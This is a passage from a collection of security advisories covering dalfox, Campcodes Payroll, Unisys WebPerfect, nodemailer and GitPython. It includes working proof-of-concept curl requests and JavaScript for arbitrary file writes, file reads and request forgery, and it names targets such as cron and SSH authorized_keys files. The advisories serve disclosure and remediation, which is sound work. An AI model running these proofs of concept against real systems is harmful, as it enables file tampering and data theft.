options.OutputAll`). Since both are attacker-supplied, both conditions are trivially satisfied.\n\n### What Gets Written\n\nLog lines of the form:\n\n```\n[*] Starting scan [SID:\u003cid\u003e] / URL: \u003cattacker-supplied-url\u003e\n[I] Checking BAV\n[E] connection refused\n[DEBUG] \u003cinternal state\u003e\n...\n```\n\nThe URL appears verbatim in log messages, giving the attacker partial influence over the written content. While the format is not fully arbitrary (fixed prefixes like `[*] `, `[I] `, `[E] `), the **file path is entirely attacker-controlled**. The flags `O_CREATE` (creates the file if absent) and `O_APPEND` (never truncates) mean the attacker can:\n- Create new files at arbitrary paths\n- Append log content to existing files (corrupting configs, auth files, cron entries if the line happens to match syntax)\n\n### No Defense at Any Layer\n\nThe same opt-in API key gap applies here as in all prior findings:\n\n```go\n// pkg/server/server.go:68-70\nif options.ServerType == \"rest\" \u0026\u0026 options.APIKey != \"\" {\n e.Use(apiKeyAuth(options.APIKey, options))\n}\n```\n\nThere is no path allowlist, no `IsLibrary` guard on the file write, and no stripping of `OutputFile` from API-sourced requests anywhere in the codebase.\n\n## Proof of Concept\n\n```bash\n# Step 1 \u2014 Start dalfox REST server (default: no API key)\ngo run . server --host 127.0.0.1 --port 16664 --type rest\n\n# Step 2 \u2014 Verify health (unauthenticated)\ncurl -s http://127.0.0.1:16664/health\n# Expected: {\"code\":200,\"msg\":\"ok\"}\n\n# Step 3 \u2014 Trigger arbitrary file creation with attacker-controlled path\ncurl -s -X POST http://127.0.0.1:16664/scan \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\n \"url\": \"http://127.0.0.1:1/?x=1\",\n \"options\": {\n \"output\": \"/tmp/dalfox_sink_poc.log\",\n \"output-all\": true,\n \"debug\": true,\n \"use-headless\": false\n }\n }\u0027\n\n# Step 4 \u2014 Verify file was created and written to by the dalfox process\nsleep 2\ncat /tmp/dalfox_sink_poc.log\n# Expected:\n# [*] Starting scan [SID:...] / URL: http://127.0.0.1:1/?x=1\n# [I] Checking BAV\n# [E] ...\n```\n\nNo `X-API-KEY` header is required. Replace `/tmp/dalfox_sink_poc.log` with any path writable by the dalfox process: `/var/www/html/injected.txt`, `/etc/cron.d/dalfox`, `~/.ssh/authorized_keys` (appending log lines that won\u0027t break key format but pollute the file), etc.\n\n## Impact\n\n- **Arbitrary file creation**: The attacker can create files at any path on the dalfox host filesystem accessible to the dalfox process, including web-serving directories, cron drop-in directories, and application config directories.\n- **Arbitrary file append/corruption**: Existing files can have log-format lines appended, degrading parsers that expect strict formats (sshd_config, crontab, /etc/hosts, application config files).\n- **Partial content control via URL**: The scan target URL appears verbatim in log output; combined with creative path targeting, this may enable injection into certain file formats.\n- **No authentication required** in the default deployment.\n- When dalfox runs under a privileged account (e.g., in a CI pipeline or as root in a container), the blast radius extends to system-wide files.\n\n## Recommended Remediation\n\n### Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred)\n\nNullify all fields that touch the local filesystem before passing options to `ScanFromAPI`. This is the same remediation recommended for the `found-action` RCE and `custom-payload-file` file-read findings and should be applied as a single consolidated patch:\n\n```go\n// pkg/server/server.go \u2014 in postScanHandler, before ScanFromAPI:\nrq.Options.OutputFile = \"\"\nrq.Options.OutputAll = false // safe to leave user value; file write is blocked by OutputFile=\"\"\nrq.Options.CustomPayloadFile = \"\"\nrq.Options.CustomBlindXSSPayloadFile = \"\"\nrq.Options.FoundAction = \"\"\nrq.Options.FoundActionShell = \"\"\nrq.Options.HarFilePath = \"\"\n```\n\n### Option 2: Guard the file write with `IsLibrary` in `DalLog`\n\nMove the `OutputFile` write block inside the `else` branch so it only executes in non-library (CLI) mode:\n\n```go\n// internal/printing/logger.go \u2014 restructure the if-else:\nif options.IsLibrary {\n options.ScanResult.Logs = append(options.ScanResult.Logs, text)\n} else {\n // existing stderr printing logic...\n\n // file write belongs here, not after the if-else\n if options.OutputFile != \"\" \u0026\u0026 ftext != \"\" {\n f, err := os.OpenFile(options.OutputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)\n ...\n }\n}\n```\n\nThis fix addresses the root structural cause \u2014 the file write was intended for CLI mode only, and gating it on `!IsLibrary` matches that intent. Option 1 is still recommended as the primary fix; Option 2 adds defence-in-depth but requires care to not break legitimate CLI usage.\n\n### Option 3: Require `--api-key` at server startup\n\nAs with the other server-mode findings, making authentication mandatory eliminates the unauthenticated attack surface entirely:\n\n```go\n// cmd/server.go \u2014 in runServerCmd:\nif serverType == \"rest\" \u0026\u0026 apiKey == \"\" {\n fmt.Fprintln(os.Stderr, \"ERROR: --api-key is required when running in REST server mode.\")\n os.Exit(1)\n}\n```\n\nAll three options should be applied together.\n\n##Credit\n\nEmmanuel David\n\nGithub:- https://github.com/drmingler.",
"id": "GHSA-8hf9-3q64-q2qf",
"modified": "2026-06-08T23:50:06Z",
"published": "2026-05-12T15:08:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/hahwul/dalfox/security/advisories/GHSA-8hf9-3q64-q2qf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45089"
},
{
"type": "PACKAGE",
"url": "https://github.com/hahwul/dalfox"
},
{
"type": "WEB",
"url": "https://github.com/hahwul/dalfox/releases/tag/v2.13.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Dalfox Server Mode has an Unauthenticated Arbitrary File Create/Append via `output` Option"
}
GHSA-8J7V-6G8V-2256
Vulnerability from github – Published: 2025-08-27 15:33 – Updated: 2025-08-27 15:33A weakness has been identified in Campcodes Payroll Management System 1.0. The affected element is the function include of the file /index.php. This manipulation of the argument page causes file inclusion. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be exploited.
{
"affected": [],
"aliases": [
"CVE-2025-9529"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-27T14:15:56Z",
"severity": "MODERATE"
},
"details": "A weakness has been identified in Campcodes Payroll Management System 1.0. The affected element is the function include of the file /index.php. This manipulation of the argument page causes file inclusion. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be exploited.",
"id": "GHSA-8j7v-6g8v-2256",
"modified": "2025-08-27T15:33:15Z",
"published": "2025-08-27T15:33:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9529"
},
{
"type": "WEB",
"url": "https://github.com/chenjunjie3/cve/issues/6"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.321548"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.321548"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.635551"
},
{
"type": "WEB",
"url": "https://www.campcodes.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8JPV-7GWW-9R9J
Vulnerability from github – Published: 2026-04-15 00:31 – Updated: 2026-05-06 15:32Unisys WebPerfect Image Suite versions 3.0.3960.22810 and 3.0.3960.22604 expose an unauthenticated WCF SOAP endpoint on TCP port 1208 that accepts unsanitized file paths in the ReadLicense action's LFName parameter, allowing remote attackers to trigger SMB connections and leak NTLMv2 machine-account hashes. Attackers can submit crafted SOAP requests with UNC paths to force the server to initiate outbound SMB connections, exposing authentication credentials that may be relayed for privilege escalation or lateral movement within the network.
{
"affected": [],
"aliases": [
"CVE-2026-39907"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-14T22:16:32Z",
"severity": "HIGH"
},
"details": "Unisys WebPerfect Image Suite versions 3.0.3960.22810 and 3.0.3960.22604 expose an unauthenticated WCF SOAP endpoint on TCP port 1208 that accepts unsanitized file paths in the ReadLicense action\u0027s LFName parameter, allowing remote attackers to trigger SMB connections and leak NTLMv2 machine-account hashes. Attackers can submit crafted SOAP requests with UNC paths to force the server to initiate outbound SMB connections, exposing authentication credentials that may be relayed for privilege escalation or lateral movement within the network.",
"id": "GHSA-8jpv-7gww-9r9j",
"modified": "2026-05-06T15:32:33Z",
"published": "2026-04-15T00:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39907"
},
{
"type": "WEB",
"url": "https://gist.github.com/VAMorales/be3e4ed472c51794493c1256cce16129"
},
{
"type": "WEB",
"url": "https://www.unisys.com/solutions/cai/applications"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/unisys-webperfect-image-suite-ntlmv2-hash-leakage-via-wcf-soap"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8M3C-C648-2XJJ
Vulnerability from github – Published: 2026-09-08 21:16 – Updated: 2026-09-08 21:16Summary
Nodemailer's disableFileAccess / disableUrlAccess options are a security sandbox that lets an application forbid untrusted message content (html/text/attachment path/href) from reading local files or making outbound HTTP(S) requests. The fix for GHSA-wqvq-jvpq-h66f (commit 5f69497) threaded these flags through the library's internal resolution paths (MailMessage.resolveAll() and _convertDataImages()), but the public plugin API MailMessage.resolveContent(...args) (lib/mailer/mail-message.js:41-43) remains a raw passthrough to shared.resolveContent().
When called with the documented legacy signature mail.resolveContent(data, key, callback), shared.resolveContent normalizes the missing options argument to an empty object (options = options || {}, lib/shared/index.js:530). The message-level flags that the MailMessage constructor already copied into mail.data (lib/mailer/mail-message.js:34-38) are silently discarded, so resolveContentValue skips both access-control guards and reaches nmfetch(url) (SSRF, lib/shared/index.js:588) or fs.createReadStream(path) (arbitrary file read, lib/shared/index.js:597).
A plugin or application code that resolves message content through the documented API (the same API the library's own _convertDataImages uses, threading the flags explicitly) thereby bypasses the sandbox an application deliberately enabled.
Details
Root cause. The MailMessage constructor stores the transporter-level sandbox flags on the message object (lib/mailer/mail-message.js:34-38):
['disableFileAccess', 'disableUrlAccess', 'normalizeHeaderKey', 'maxRecipients'].forEach(key => {
if (key in options) {
this.data[key] = options[key];
}
});
The public resolver is a pure passthrough (lib/mailer/mail-message.js:41-43):
resolveContent(...args) {
return shared.resolveContent(...args);
}
shared.resolveContent supports the legacy 3-argument signature and collapses the missing options to {} (lib/shared/index.js:524-530):
module.exports.resolveContent = (data, key, options, callback) => {
// options is optional; support the legacy resolveContent(data, key, callback) signature
if (!callback && typeof options === 'function') {
callback = options;
options = false;
}
options = options || {};
...
resolveContentValue(data, key, options, callback);
resolveContentValue then checks options.disableUrlAccess / options.disableFileAccess (lib/shared/index.js:581 / :590), both undefined for the legacy signature, so it falls through to nmfetch (:588) or fs.createReadStream (:597).
Contrast with the fixed paths. resolveAll() (lib/mailer/mail-message.js:112-115) and _convertDataImages() (lib/mailer/index.js:437-440) both pass the message flags explicitly. The MIME streaming path (lib/mime-node/index.js:1059-1077) also honors the flags. So an application that enables the sandbox and then calls transporter.sendMail() is protected; the bypass appears only when message content is resolved through the public legacy-signature API — which is the documented plugin usage (the resolveContent JSDoc at lib/shared/index.js:510-523 states it is "useful when you want to create a plugin that needs a content value").
Affected versions. Confirmed on 9.1.0 (HEAD efd6e29c10c6e0c25c57bd2f2a71302838235a4f, the current npm latest). The gap was introduced by the GHSA-wqvq-jvpq-h66f fix and is still present; the public API has no regression coverage (test/mailer/mail-message-test.js contains no resolveContent test).
PoC
Requires: nodemailer@9.1.0, a readable local file, and any reachable HTTP endpoint (loopback suffices). Non-destructive; no network egress beyond a local listener.
'use strict';
const nodemailer = require('nodemailer');
const MailMessage = require('nodemailer/lib/mailer/mail-message');
const TARGET_FILE = '/app/src/package.json'; // any readable local file
const SSRF_URL = 'http://http-sink:8080/poc-ssrf'; // any local/internal HTTP target
const transporter = nodemailer.createTransport({
streamTransport: true,
disableFileAccess: true, // sandbox explicitly enabled
disableUrlAccess: true
});
const data = {
from: 'a@example.com', to: 'b@example.com', subject: 'poc', text: 'hello',
html: { path: TARGET_FILE },
attachments: [{ filename: 'x.bin', href: SSRF_URL }]
};
const mail = new MailMessage(transporter, data);
// mail.data.disableFileAccess === true, mail.data.disableUrlAccess === true
// Documented legacy plugin signature — options argument omitted:
mail.resolveContent(mail.data, 'html', (err, value) => {
if (err) return console.log('BLOCKED', err.code);
console.log('FILE_READ_OK len=', value.length); // -> 1647 (package.json)
});
mail.resolveContent(mail.data.attachments, 0, (err, body) => {
if (err) return console.log('BLOCKED', err.code);
console.log('URL_FETCH_OK body=', body.toString()); // -> fetched response
});
Observed output on the audit environment (Node 22, nodemailer@9.1.0):
mail.data.disableFileAccess = true | disableUrlAccess = true
[CONTROL resolveAll] err = EFILEACCESS : File access rejected for /app/src/package.json
[CONTROL html.path explicit-options] err = EFILEACCESS
[BYPASS html.path legacy] READ OK len = 1647 head = "{\n \"name\": \"nodemailer\",\n \"version\": \"9.1.0\",\n \"des"
[BYPASS att[0].href legacy] FETCH OK len = 13 body = "HTTP-SINK OK\n"
The negative controls (resolveAll, and resolveContent with explicit { disableFileAccess: true }) return EFILEACCESS, proving the sandbox works on the protected paths and only the legacy-signature passthrough is bypassed. The same bypass reproduces inside a real transporter.sendMail() flow when a compile plugin calls mail.resolveContent(mail.data, 'html', cb) / mail.resolveContent(mail.data.attachments, 0, cb).
Impact
An application that enables disableFileAccess / disableUrlAccess to contain untrusted message content and that resolves content through the documented plugin API (mail.resolveContent(data, key, callback)) has its sandbox silently bypassed:
- Arbitrary local file disclosure: a message
html/attachmentpathpointing at a server file (/etc/passwd,.env, key material) is read and returned to the caller / delivered in the message. - Server-side request forgery: a message
hrefpointing at an internal or loopback URL is fetched from the application host.
Reachability precondition: the sandbox flags must be enabled (default off) and the application or its plugin must invoke the documented legacy-signature API on attacker-influenced data. The default transporter.sendMail() path remains protected, so this is a defense-in-depth gap in the library's own access-control enforcement rather than a default-flow bypass. It is the same vulnerability class as the previously accepted GHSA-wqvq-jvpq-h66f (CVE-2026-82660) and GHSA-p6gq-j5cr-w38f (CVE-2026-82659), on a distinct third code path.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.1.0"
},
"package": {
"ecosystem": "npm",
"name": "nodemailer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-73",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T21:16:00Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nNodemailer\u0027s `disableFileAccess` / `disableUrlAccess` options are a security sandbox that lets an application forbid untrusted message content (`html`/`text`/attachment `path`/`href`) from reading local files or making outbound HTTP(S) requests. The fix for GHSA-wqvq-jvpq-h66f (commit `5f69497`) threaded these flags through the library\u0027s internal resolution paths (`MailMessage.resolveAll()` and `_convertDataImages()`), but the public plugin API `MailMessage.resolveContent(...args)` (`lib/mailer/mail-message.js:41-43`) remains a raw passthrough to `shared.resolveContent()`.\n\nWhen called with the documented legacy signature `mail.resolveContent(data, key, callback)`, `shared.resolveContent` normalizes the missing options argument to an empty object (`options = options || {}`, `lib/shared/index.js:530`). The message-level flags that the `MailMessage` constructor already copied into `mail.data` (`lib/mailer/mail-message.js:34-38`) are silently discarded, so `resolveContentValue` skips both access-control guards and reaches `nmfetch(url)` (SSRF, `lib/shared/index.js:588`) or `fs.createReadStream(path)` (arbitrary file read, `lib/shared/index.js:597`).\n\nA plugin or application code that resolves message content through the documented API (the same API the library\u0027s own `_convertDataImages` uses, threading the flags explicitly) thereby bypasses the sandbox an application deliberately enabled.\n\n### Details\n\nRoot cause. The `MailMessage` constructor stores the transporter-level sandbox flags on the message object (`lib/mailer/mail-message.js:34-38`):\n\n```js\n[\u0027disableFileAccess\u0027, \u0027disableUrlAccess\u0027, \u0027normalizeHeaderKey\u0027, \u0027maxRecipients\u0027].forEach(key =\u003e {\n if (key in options) {\n this.data[key] = options[key];\n }\n});\n```\n\nThe public resolver is a pure passthrough (`lib/mailer/mail-message.js:41-43`):\n\n```js\nresolveContent(...args) {\n return shared.resolveContent(...args);\n}\n```\n\n`shared.resolveContent` supports the legacy 3-argument signature and collapses the missing options to `{}` (`lib/shared/index.js:524-530`):\n\n```js\nmodule.exports.resolveContent = (data, key, options, callback) =\u003e {\n // options is optional; support the legacy resolveContent(data, key, callback) signature\n if (!callback \u0026\u0026 typeof options === \u0027function\u0027) {\n callback = options;\n options = false;\n }\n options = options || {};\n ...\n resolveContentValue(data, key, options, callback);\n```\n\n`resolveContentValue` then checks `options.disableUrlAccess` / `options.disableFileAccess` (`lib/shared/index.js:581` / `:590`), both `undefined` for the legacy signature, so it falls through to `nmfetch` (`:588`) or `fs.createReadStream` (`:597`).\n\nContrast with the fixed paths. `resolveAll()` (`lib/mailer/mail-message.js:112-115`) and `_convertDataImages()` (`lib/mailer/index.js:437-440`) both pass the message flags explicitly. The MIME streaming path (`lib/mime-node/index.js:1059-1077`) also honors the flags. So an application that enables the sandbox and then calls `transporter.sendMail()` is protected; the bypass appears only when message content is resolved through the public legacy-signature API \u2014 which is the documented plugin usage (the `resolveContent` JSDoc at `lib/shared/index.js:510-523` states it is \"useful when you want to create a plugin that needs a content value\").\n\nAffected versions. Confirmed on `9.1.0` (HEAD `efd6e29c10c6e0c25c57bd2f2a71302838235a4f`, the current npm latest). The gap was introduced by the GHSA-wqvq-jvpq-h66f fix and is still present; the public API has no regression coverage (`test/mailer/mail-message-test.js` contains no `resolveContent` test).\n\n### PoC\n\nRequires: `nodemailer@9.1.0`, a readable local file, and any reachable HTTP endpoint (loopback suffices). Non-destructive; no network egress beyond a local listener.\n\n```js\n\u0027use strict\u0027;\nconst nodemailer = require(\u0027nodemailer\u0027);\nconst MailMessage = require(\u0027nodemailer/lib/mailer/mail-message\u0027);\n\nconst TARGET_FILE = \u0027/app/src/package.json\u0027; // any readable local file\nconst SSRF_URL = \u0027http://http-sink:8080/poc-ssrf\u0027; // any local/internal HTTP target\n\nconst transporter = nodemailer.createTransport({\n streamTransport: true,\n disableFileAccess: true, // sandbox explicitly enabled\n disableUrlAccess: true\n});\n\nconst data = {\n from: \u0027a@example.com\u0027, to: \u0027b@example.com\u0027, subject: \u0027poc\u0027, text: \u0027hello\u0027,\n html: { path: TARGET_FILE },\n attachments: [{ filename: \u0027x.bin\u0027, href: SSRF_URL }]\n};\nconst mail = new MailMessage(transporter, data);\n// mail.data.disableFileAccess === true, mail.data.disableUrlAccess === true\n\n// Documented legacy plugin signature \u2014 options argument omitted:\nmail.resolveContent(mail.data, \u0027html\u0027, (err, value) =\u003e {\n if (err) return console.log(\u0027BLOCKED\u0027, err.code);\n console.log(\u0027FILE_READ_OK len=\u0027, value.length); // -\u003e 1647 (package.json)\n});\nmail.resolveContent(mail.data.attachments, 0, (err, body) =\u003e {\n if (err) return console.log(\u0027BLOCKED\u0027, err.code);\n console.log(\u0027URL_FETCH_OK body=\u0027, body.toString()); // -\u003e fetched response\n});\n```\n\nObserved output on the audit environment (Node 22, `nodemailer@9.1.0`):\n\n```text\nmail.data.disableFileAccess = true | disableUrlAccess = true\n[CONTROL resolveAll] err = EFILEACCESS : File access rejected for /app/src/package.json\n[CONTROL html.path explicit-options] err = EFILEACCESS\n[BYPASS html.path legacy] READ OK len = 1647 head = \"{\\n \\\"name\\\": \\\"nodemailer\\\",\\n \\\"version\\\": \\\"9.1.0\\\",\\n \\\"des\"\n[BYPASS att[0].href legacy] FETCH OK len = 13 body = \"HTTP-SINK OK\\n\"\n```\n\nThe negative controls (`resolveAll`, and `resolveContent` with explicit `{ disableFileAccess: true }`) return `EFILEACCESS`, proving the sandbox works on the protected paths and only the legacy-signature passthrough is bypassed. The same bypass reproduces inside a real `transporter.sendMail()` flow when a `compile` plugin calls `mail.resolveContent(mail.data, \u0027html\u0027, cb)` / `mail.resolveContent(mail.data.attachments, 0, cb)`.\n\n### Impact\n\nAn application that enables `disableFileAccess` / `disableUrlAccess` to contain untrusted message content and that resolves content through the documented plugin API (`mail.resolveContent(data, key, callback)`) has its sandbox silently bypassed:\n\n- Arbitrary local file disclosure: a message `html`/attachment `path` pointing at a server file (`/etc/passwd`, `.env`, key material) is read and returned to the caller / delivered in the message.\n- Server-side request forgery: a message `href` pointing at an internal or loopback URL is fetched from the application host.\n\nReachability precondition: the sandbox flags must be enabled (default off) and the application or its plugin must invoke the documented legacy-signature API on attacker-influenced data. The default `transporter.sendMail()` path remains protected, so this is a defense-in-depth gap in the library\u0027s own access-control enforcement rather than a default-flow bypass. It is the same vulnerability class as the previously accepted GHSA-wqvq-jvpq-h66f (CVE-2026-82660) and GHSA-p6gq-j5cr-w38f (CVE-2026-82659), on a distinct third code path.",
"id": "GHSA-8m3c-c648-2xjj",
"modified": "2026-09-08T21:16:00Z",
"published": "2026-09-08T21:16:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8m3c-c648-2xjj"
},
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/commit/ab7ef348b9a97b1fd70e7bfbeb56d4ea4a07946b"
},
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/commit/dc48ed395c4d6c79ee5c95eb6eff17bafe391474"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodemailer/nodemailer"
},
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/releases/tag/v9.1.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nodemailer: resolveContent() on a MailMessage bypasses disableFileAccess/disableUrlAccess when called with the legacy signature"
}
GHSA-8MCC-HRX5-HVXC
Vulnerability from github – Published: 2026-09-08 18:41 – Updated: 2026-09-08 18:41- CWE: CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense)
- Affected component:
git/repo/base.py,Repo.unsafe_git_clone_options(class attribute, lines 153-165) andRepo._clone()(lines 1477-1520), reached via the publicRepo.clone_from()(line 1626) andRepo.clone()(line 1567) APIs. - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
Repo.clone_from(url, to_path, **kwargs) (and Repo.clone()) forward arbitrary keyword arguments to the underlying git clone invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (Git._option_candidates) and checks it against a denylist, Repo.unsafe_git_clone_options, via Git.check_unsafe_options() — unless the caller passes allow_unsafe_options=True. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (--template, --upload-pack, --config, --exec, --output, --index-output, --pathspec-from-file, etc.).
git clone also accepts --separate-git-dir=<path>, which redirects the repository's entire .git metadata directory to an arbitrary, caller-controlled filesystem path, leaving only a gitlink text file (gitdir: <path>) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: Repo.unsafe_git_init_options (line 145-150) blocks --separate-git-dir for Repo.init(), with the comment "Redirects the repository metadata to a caller-controlled path". The Repo._clone()/clone()/clone_from() docstring (line 1450-1452) is even more explicit:
:param allow_unsafe_options:
Allow unsafe options to be used, such as ``--template`` and
``--separate-git-dir``.
i.e. the maintainers' own documentation states that allow_unsafe_options=False (the default) is supposed to block --separate-git-dir for clone. But Repo.unsafe_git_clone_options does not contain it:
unsafe_git_clone_options = [
"--upload-pack",
"-u",
"--config",
"-c",
"--template",
"--bundle-uri",
]
So any application that forwards a separate_git_dir (or separate-git-dir) kwarg into Repo.clone_from() / Repo.clone() — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling --template/--upload-pack/--config entries in this same list — gets no protection at all for --separate-git-dir, even with the default allow_unsafe_options=False.
Root cause
Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): unsafe_git_init_options correctly lists --separate-git-dir; unsafe_git_clone_options, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for GHSA-539m-9xh6-q6rr (archive denylist missing --add-file/--add-virtual-file) and GHSA-6p8h-3wgx-97gf (clone denylist missing --template, since fixed).
Exploit path
- Attacker-controlled input reaches a
separate_git_dir=...(or equivalently"separate-git-dir") keyword argument passed intoRepo.clone_from()/Repo.clone()by the host application, withallow_unsafe_optionsleft at its defaultFalse. Git._option_candidates()renders this as--separate-git-dirandGit.check_unsafe_options()checks it againstRepo.unsafe_git_clone_options— no match, noUnsafeOptionErrorraised.Git.transform_kwargs()renders the same kwarg into the real command line as--separate-git-dir=<attacker path>and GitPython executesgit clone -v --separate-git-dir=<attacker path> -- <url> <dest>viasubprocess(no shell).gititself creates the full repository metadata tree (config,description,HEAD,hooks/,index,objects/,refs/,packed-refs,logs/) at the attacker-specified path — which can be any path outside the intended clone destination that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.
Impact
Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity GHSA-hmq2-w58f-27jc ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely:
- Planting a git repository structure (including a hooks/ directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.
- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's .git, a shared cache path, a predictable temp location), the clone silently populates/overwrites config, HEAD, hooks/*, refs/*, packed-refs, and index there — an integrity violation of a resource outside the intended destination.
- Combined with any later operation that runs git against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for --template in GHSA-9rj7-rf2p-w77r.
Preconditions
- The calling application forwards a caller-influenced value into a
separate_git_dirkwarg ofRepo.clone_from()/Repo.clone()(or into themulti_optionslist as a raw--separate-git-dir=...token) without itself validating/rejecting it, and does not passallow_unsafe_options=Trueintentionally. This is the identical trust model GitPython's own denylist already defends for--template/--upload-pack/--config/--bundle-urion the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted. - No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.
Evidence
git/repo/base.py:145-151—unsafe_git_init_optionsincludes"--separate-git-dir"with the comment "Redirects the repository metadata to a caller-controlled path".git/repo/base.py:153-165—unsafe_git_clone_options(the list actually enforced on_clone) does not include"--separate-git-dir".git/repo/base.py:1450-1452— docstring ofclone_from/cloneexplicitly documents--separate-git-diras one of the optionsallow_unsafe_optionsis supposed to gate.git/repo/base.py:1495-1518—_clone()special-casesseparate_git_dironly toGit.polish_url()it (path normalization for URL-like values), then runs it throughGit.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)— which, per the list above, does not flag it.- PoC (
gitpython-001-poc.py, embedded below) run against this exact checkout confirms the option reaches the realgit clonesubprocess unguarded and creates a full git directory outside the destination path, withallow_unsafe_optionsat its defaultFalse.
False-positive check (adversarial re-read)
- Is there a value-level check that would still stop this? No —
check_unsafe_optionsonly inspects option names (via_canonicalize_option_name) against the denylist; it performs no filesystem/path validation onseparate_git_dir's value, and no other guard in_clone()touches this kwarg besides theGit.polish_url()normalization (which does not reject arbitrary paths). - Is
--separate-git-dirperhaps a no-op or safely sandboxed forclonespecifically (unlikeinit)? No — confirmed empirically: the option reaches the realgitbinary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path. - Could this be the exact bug already covered by one of the 26 published GHSAs? Checked all 26 entries in
_known-advisories.json(Filter 0):GHSA-9rj7-rf2p-w77rcovers--templateinRepo.init;GHSA-6p8h-3wgx-97gfcovers--templatein clone (already fixed, present inunsafe_git_clone_options);GHSA-hmq2-w58f-27jccovers arbitrary repo creation via unvalidated.gitmodulessubmodule names (a different code path —Submodule, notRepo.clone_from()kwargs). None reference--separate-git-diron the clone path. This is a distinct, currently-unpatched gap. - Does this require an unrealistic precondition? The precondition (host app forwards a kwarg into
clone_from/clone) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (--template,--upload-pack,--config,--bundle-uri) — i.e. it is the same threat model the guard exists to cover, just missing one entry. - Verdict: no concrete blocker found. CONFIRMED.
Remediation
Add "--separate-git-dir" (and its - alias if git ever adds one — currently there is none) to Repo.unsafe_git_clone_options in git/repo/base.py, matching unsafe_git_init_options. Since Repo._clone() already special-cases separate_git_dir for Git.polish_url() normalization, the fix is a one-line addition to the existing list, consistent with how GHSA-6p8h-3wgx-97gf added --template to the same list.
Confidence
